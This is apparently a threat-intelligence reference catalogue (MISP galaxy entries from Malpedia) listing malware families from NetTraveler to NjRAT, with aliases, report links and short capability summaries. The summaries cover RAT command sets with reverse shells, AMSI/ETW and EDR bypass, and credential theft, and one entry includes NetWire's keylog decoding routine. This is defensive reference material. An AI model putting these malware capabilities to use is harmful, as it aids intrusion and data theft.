https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape

https://www.recordedfuture.com/research/grayalpha-uses-diverse-infection-vectors-deploy-powernet-loader-netsupport-rat

https://perception-point.io/blog/operation-phantomblu-new-and-evasive-method-delivers-netsupport-rat/

https://www.malwarebytes.com/blog/threat-intelligence/2023/09/atomic-macos-stealer-delivered-via-malvertising

https://www.intrinsec.com/wp-content/uploads/2025/03/TLP-CLEAR-From-espionage-to-PsyOps-Tracking-operations-and-infrastructure-of-UACs-in-2025-EN-1.pdf

https://asec.ahnlab.com/en/45312/

https://embee-research.ghost.io/advanced-cyberchef-operations-netsupport/

NetTraveler

The tag is: *misp-galaxy:malpedia="NetTraveler"*

NetTraveler is also known as:

- TravNet

Table 4588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler
https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests

NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

```
for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
```

The tag is: *misp-galaxy:malpedia="NetWire RC"*

NetWire RC is also known as:

- NetWeird
- NetWire
- Recam

Table 4589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire

https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://blogs.vmware.com/security/2019/11/active-c2-discovery-using-protocol-emulation-part1-hydseven-netwire.html

http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4

https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/

https://www.secureworks.com/research/threat-profiles/cobalt-trinity

https://www.theregister.com/2023/03/10/fbi_netwire_seizure/

https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/

https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA

https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/

https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage

https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire

https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf

https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

https://news.drweb.ru/show/?i=13281&c=23

https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign

https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors

https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf

https://community.riskiq.com/article/24759ad2

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware

https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers

https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html

https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html

https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html

https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/

https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/

http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/

https://drive.google.com/file/d/13prt2ve_sHNRRiGthB07qtfuinftJX35/view

https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line

https://threatpost.com/ta2541-apt-rats-aviation/178422/

https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html

https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/

https://lmntrix.com/lab/analysis-of-netwire-rat/

https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/

https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html

https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols

https://news.sophos.com/en-us/2020/05/14/raticate/

https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf

https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

https://www.youtube.com/watch?v=TeQdZxP0RYY

https://www.ciphertechsolutions.com/roboski-global-recovery-automation/

https://www.circl.lu/pub/tr-23/

https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/

https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

NET-STAR

According to Unit 42, NET-STAR is a .NET malware suite designed to target Internet Information Services (IIS) web servers. It was named based on the use of the string in the malware's program database (PDB) paths. The suite consists of three distinct web-based backdoors, each serving a specific role in the attack chain while maintaining persistence within the target's IIS environment: A fileless modular backdoor that supports in-memory execution of command-line arguments, arbitrary commands and payloads, a loader for additional Assemblies, and improved version of the Assembly loader that is also equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities.

The tag is: *misp-galaxy:malpedia="NET-STAR"*

NET-STAR is also known as:

Table 4590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.net_star
https://unit42.paloaltonetworks.com/phantom-taurus/

Neuron

The tag is: *misp-galaxy:malpedia="Neuron"*

Neuron is also known as:

Table 4591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron
https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.ncsc.gov.uk/alerts/turla-group-malware

Neutrino

The tag is: *misp-galaxy:malpedia="Neutrino"*

Neutrino is also known as:

- Kasidet

Table 4592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino
https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/
https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/
http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html
http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet
https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html
https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex
https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/
http://blog.ptsecurity.com/2019/08/finding-neutrino.html
http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/

Neutrino POS

The tag is: *misp-galaxy:malpedia="Neutrino POS"*

Neutrino POS is also known as:

Table 4593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos
https://securelist.com/neutrino-modification-for-pos-terminals/78839/

Nevada

The tag is: *misp-galaxy:malpedia="Nevada"*

Nevada is also known as:

Table 4594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nevada
https://www.zscaler.com/blogs/security-research/nevada-ransomware-yet-another-nokoyawa-variant

NewBot Loader

The tag is: *misp-galaxy:malpedia="NewBot Loader"*

NewBot Loader is also known as:

Table 4595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newbot_loader
https://medium.com/walmartglobaltech/newbot-loader-81e2ba11c793

NewBounce

The tag is: *misp-galaxy:malpedia="NewBounce"*

NewBounce is also known as:

Table 4596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf

NewCore RAT

The tag is: *misp-galaxy:malpedia="NewCore RAT"*

NewCore RAT is also known as:

Table 4597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat
https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations
https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6
https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html

https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/

NewPass

The tag is: *misp-galaxy:malpedia="NewPass"*

NewPass is also known as:

Table 4598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass
https://www.telsy.com/turla-venomous-bear-updates-its-arsenal-newpass-appears-on-the-apt-threat-scene/

NewPosThings

The tag is: *misp-galaxy:malpedia="NewPosThings"*

NewPosThings is also known as:

Table 4599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings
https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/

NewsReels

The tag is: *misp-galaxy:malpedia="NewsReels"*

NewsReels is also known as:

Table 4600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

NewCT

The tag is: *misp-galaxy:malpedia="NewCT"*

NewCT is also known as:

- CT

Table 4601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://www.secureworks.com/research/threat-profiles/bronze-express

Nexster Bot

The tag is: *misp-galaxy:malpedia="Nexster Bot"*

Nexster Bot is also known as:

Table 4602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot
https://twitter.com/benkow_/status/789006720668405760

NexusLogger

The tag is: *misp-galaxy:malpedia="NexusLogger"*

NexusLogger is also known as:

Table 4603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger
http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/
https://twitter.com/PhysicalDrive0/status/842853292124360706

Ngioweb (Windows)

The tag is: *misp-galaxy:malpedia="Ngioweb (Windows)"*

Ngioweb (Windows) is also known as:

- Grobios

Table 4604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb
https://blog.lumen.com/one-sock-fits-all-the-use-and-abuse-of-the-nsocks-botnet/
https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html
https://research.checkpoint.com/ramnits-network-proxy-servers/

NGLite

According to Unit42, NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.

The tag is: *misp-galaxy:malpedia="NGLite"*

NGLite is also known as:

Table 4605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nglite
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
https://us-cert.cisa.gov/ncas/alerts/aa21-336a

Nibiru

The tag is: *misp-galaxy:malpedia="Nibiru"*

Nibiru is also known as:

Table 4606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nibiru
https://blog.talosintelligence.com/2020/11/Nibiru-ransomware.html

NightClub

The tag is: *misp-galaxy:malpedia="NightClub"*

NightClub is also known as:

Table 4607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nightclub
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/
https://i.blackhat.com/BH-US-23/Presentations/US-23-MatthieuFaou-MoustachedBouncer.pdf

Nightdoor

The tag is: *misp-galaxy:malpedia="Nightdoor"*

Nightdoor is also known as:

- NetMM
- Suzafk

Table 4608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nightdoor
https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset
https://www.welivesecurity.com/en/eset-research/cloudscout-evasive-panda-scouting-cloud-services/

Nighthawk

C2 framework.

The tag is: *misp-galaxy:malpedia="Nighthawk"*

Nighthawk is also known as:

Table 4609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nighthawk

https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice
https://web.archive.org/web/20221124020920/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://web.archive.org/web/20220505170100/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html
https://github.com/struppigel/hedgehog-tools/blob/main/nighthawk_str_decoder.py
https://github.com/kevoreilly/CAPEv2/blob/master/modules/processing/parsers/CAPE/Nighthawk.py

NightshadeC2 (Windows)

According to eSentire, NightshadeC2 demonstrates an extensive capability set, including: Reverse shell via Command Prompt/PowerShell; Download and execute DLL or EXE; Self-deletion; Remote control; Screen capture; Hidden web browsers; Keylogging; clipboard content capturing. Certain variants have been found with stealing capabilities that enable the extraction of browser passwords and cookies from victim systems for both Gecko and Chromium based browsers.

The tag is: *misp-galaxy:malpedia="NightshadeC2 (Windows)"*

NightshadeC2 (Windows) is also known as:

- CastleRAT

Table 4610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nightshade_c2
https://www.esentire.com/blog/new-botnet-emerges-from-the-shadows-nightshadec2
https://www.recordedfuture.com/research/from-castleloader-to-castlerat-tag-150-advances-operations

NightSky

The tag is: *misp-galaxy:malpedia="NightSky"*

NightSky is also known as:

- Night Sky

Table 4611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky
https://twitter.com/cglyer/status/1480734487000453121

https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.youtube.com/watch?v=Yzt_zOO8pDM
https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://twitter.com/cglyer/status/1480742363991580674
https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/

NikiHTTP

NikiHTTP is a versatile backdoor and has multiple capabilities such as download of files, executing them, performing commands, take screenshots and so on.

The tag is: *misp-galaxy:malpedia="NikiHTTP"*

NikiHTTP is also known as:

Table 4612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nikihttp
https://cyberarmor.tech/new-north-korean-based-backdoor-packs-a-punch/
https://blog.alyac.co.kr/5564
https://www.linkedin.com/pulse/kimsuky-targeting-arms-manufacturer-europe-dmitry-melikov-dquge

NikiTeaR

NikiTeaR is a sophisticated, custom-developed RAT, which is a rewritten variant of the NikiHTTP (aka NikiTea) RAT.

It supports the following commands:

- srun <EXEC> <ARGS>: Executing arbitrary commands with elevated privileges.
- up/down <FILENAME>: Performing remote file operations (upload/download).
- screen: Capturing screenshots for reconnaissance.
- conn <IP_ADDRESS> <PORT>: Establishing a reverse shell
- memload <EXPORT>: Loading additional DLL into memory.
- die <COMMAND>: Terminates the process and remove trace

It is delivered via a multi-staged execution chain, beginning with a Golang-based dropper that executes a loader, a DLL with the internal name MemLoad_V3.dll, capable of loading DLL reflectively.

Its internal DLL name is httptroy_dll.dll.

To resist analysis, the backdoor is heavily obfuscated; it utilizes custom hashing to conceal Windows API calls, and employs a combined Base64+XOR encryption for C&C traffic and internal character strings, which are dynamically reconstructed at runtime.

The tag is: *misp-galaxy:malpedia="NikiTeaR"*

NikiTeaR is also known as:

Table 4613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nikitear
https://x.com/ThreatrayLabs/status/1990797174469198029
https://www.gendigital.com/blog/insights/research/dprk-kimsuky-lazarus-analysis

NimbleMamba

NimbleMamba is a new implant used by TA402/Molerats group as replacement of LastConn. It uses guardrails to ensure that victims are within the TA's target region. It is written in C# and delivered as an obfuscated .NET executable. One seen obfuscator is SmartAssembly.

The tag is: *misp-galaxy:malpedia="NimbleMamba "*

NimbleMamba is also known as:

Table 4614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimblemamba
https://thehackernews.com/2022/02/palestinian-hackers-using-new.html
https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage

Nimbo-C2 (Windows)

According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).

The tag is: *misp-galaxy:malpedia="Nimbo-C2 (Windows)"*

Nimbo-C2 (Windows) is also known as:

Table 4615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimbo_c2
https://medium.com/@knownsec404team/apt-k-47-organization-launches-espionage-attacks-using-a-new-trojan-tool-5e7eccfdce2f
https://paper.seebug.org/3117/
https://github.com/itaymigdal/Nimbo-C2

NimGrabber

Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.

The tag is: *misp-galaxy:malpedia="NimGrabber"*

NimGrabber is also known as:

Table 4616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

Nimplant

Part of Mythic C2, written in Nim. Considered deprecated, as it is only compatible with Mythic 2.1.

The tag is: *misp-galaxy:malpedia="Nimplant"*

Nimplant is also known as:

Table 4617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant
https://github.com/MythicAgents/nimplant

Nimrev

Backdoor written in Nim.

The tag is: *misp-galaxy:malpedia="Nimrev"*

Nimrev is also known as:

Table 4618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

NimBlackout

According to its author, NimBlackout is an adaptation of the @Blackout project originally developed in C++ by @ZeroMemoryEx, which consists of removing AV/EDRs using the gmer (BYOVD) driver. The main reason for this project was to understand how BYOVD attacks work, and then to provide a valid PoC developed in Nim.

The tag is: *misp-galaxy:malpedia="NimBlackout"*

NimBlackout is also known as:

Table 4619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout
https://github.com/Helixo32/NimBlackout

NineRAT

The tag is: *misp-galaxy:malpedia="NineRAT"*

NineRAT is also known as:

Table 4620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ninerat
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/

NirCmd

NirCmd is a benign tool by NirSoft that provides various functionalities. Among these is e.g. a capability to start regedit as SYSTEM, which is sometimes abused for privilege escalation, or other functionality abusable for other malicious purposes. It is also frequently flagged by AV engines.

The tag is: *misp-galaxy:malpedia="NirCmd"*

NirCmd is also known as:

Table 4621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nircmd
https://www.nirsoft.net/utils/nircmd.html

nitlove

The tag is: *misp-galaxy:malpedia="nitlove"*

nitlove is also known as:

Table 4622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove
https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html

Nitol

The tag is: *misp-galaxy:malpedia="Nitol"*

Nitol is also known as:

Table 4623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol
https://en.wikipedia.org/wiki/Nitol_botnet
https://krebsonsecurity.com/tag/nitol/
https://asec.ahnlab.com/en/44504/
https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/

Nitro

Ransomware family which requires payment in Discord gift cards ("Discord Nitro").

The tag is: *misp-galaxy:malpedia="Nitro"*

Nitro is also known as:

- Hydra

Table 4624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro

https://twitter.com/malwrhunterteam/status/1430616882231578624
https://github.com/nightfallgt/nitro-ransomware
https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf

Nitrogen Loader

The tag is: *misp-galaxy:malpedia="Nitrogen Loader"*

Nitrogen Loader is also known as:

Table 4625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen
https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen/
https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/
https://www.nextron-systems.com/2025/04/29/nitrogen-dropping-cobalt-strike-a-combination-of-chemical-elements/
https://www.esentire.com/blog/persistent-connection-established-nitrogen-campaign-leverages-dll-side-loading-technique-for-c2-communication
https://labs.withsecure.com/content/dam/labs/docs/W_Intel_Research_KeePass_Trojanised_Malware_Campaign.pdf
https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware

Nitrogen Ransomware

This ransomware has much in common with the LukaLocker ransomware. [1](https://streamscan.ai/en/ressources/analyse-du-rancongiciel-nitrogen/) Analysis of the files reveals strong correlations between the Nitrogen, LukaLocker and Cactus families. These similarities lead us to believe that these ransomware families are administered by the same people, or that the files were developed using a common framework. [2](https://www.glimps.re/en/resource/nitrogen-correlation-with-lukalocker-cactus/)

The tag is: *misp-galaxy:malpedia="Nitrogen Ransomware"*

Nitrogen Ransomware is also known as:

Table 4626. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrogen_ransomware	
https://streamscan.ai/en/ressources/analyse-du-rancongiciel-nitrogen/	

Nitrokod

A Turkish cryptominer campaign.

The tag is: *misp-galaxy:malpedia="Nitrokod"*

Nitrokod is also known as:

Table 4627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrokod
https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications

NixScare Stealer

The tag is: *misp-galaxy:malpedia="NixScare Stealer"*

NixScare Stealer is also known as:

Table 4628. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nixscare
https://twitter.com/3xp0rtblog/status/1302584919592501248

NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: *misp-galaxy:malpedia="NjRAT"*

NjRAT is also known as:

- Bladabindi

- Lime-Worm

Table 4629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
https://thehackernews.com/2025/03/blind-eagle-hacks-colombian.html
https://infosecwriteups.com/part1-static-code-analysis-of-the-rat-njrat-2f273408df43
https://ti.360.net/blog/articles/analysis-of-apt-c-27/
https://www.trendmicro.com/en_us/research/23/a/earth-bogle-campaigns-target-middle-east-with-geopolitical-lures.html
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.trendmicro.com/en_us/research/20/i/wind-up-windscribe-vpn-bundled-with-backdoor.html
https://breachnova.com/blog.php?id=27
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://www.4hou.com/posts/VoPM
https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/
http://blogs.360.cn/post/analysis-of-apt-c-37.html
https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://blog.talosintelligence.com/2021/07/sidecopy.html
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/

https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services

https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations

https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf

https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf

https://attack.mitre.org/groups/G0096

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479

https://medium.com/@b.magnezi/malware-analysis-njrat-5633847bd6f1

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/

https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html

https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

https://brandefense.io/blog/apt-groups/mythic-leopard-apt-group/

https://blog.morphisec.com/syk-crypter-discord

https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://asec.ahnlab.com/1369

https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

